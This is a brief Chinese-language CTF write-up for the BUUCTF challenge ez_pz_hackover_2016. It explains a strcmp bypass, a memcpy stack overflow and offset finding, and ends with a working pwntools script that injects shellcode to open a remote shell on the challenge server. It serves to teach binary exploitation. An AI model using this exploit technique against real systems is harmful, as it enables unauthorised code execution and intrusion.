[buuctf]ez_pz_hackover_2016
首先查看一下保护措施

那么这里就提示我们可能用到shellcode注入
接着用ida打开文件看一下

这是函数的主体部分,当strmp函数的返回值为0时,就可以调用vuln函数了,所以可以构造数据 crashme\x00 ,去满足这个条件
然后在看vuln这个函数

主要是调用了memcpy这个函数,就是将src中n个字节的数据复制到dest中,很明显这里存在栈溢出
然后在前面会打印一个地址,我们可以根据这个地址来确定构造的shellcode的地址

这里可以看到偏移量就是1c
然后又发现在ida中给出的dest离ebp得偏移量是不对的,进行动调

发现真实的偏移是22个字节
点击查看代码
from pwn import *
context.arch="i386"
io=remote("node5.buuoj.cn",25121)
io.recvuntil(b"lets crash: ")
s_addr=int(io.recv(10),16)
bin_sh=asm(shellcraft.sh())
bin_sh_addr=s_addr-0x1c
payload=b"crashme\x00"+b'A'*(14+4)+p32(bin_sh_addr)+bin_sh
io.sendlineafter(b"> ",payload)
io.interactive()

浙公网安备 33010602011771号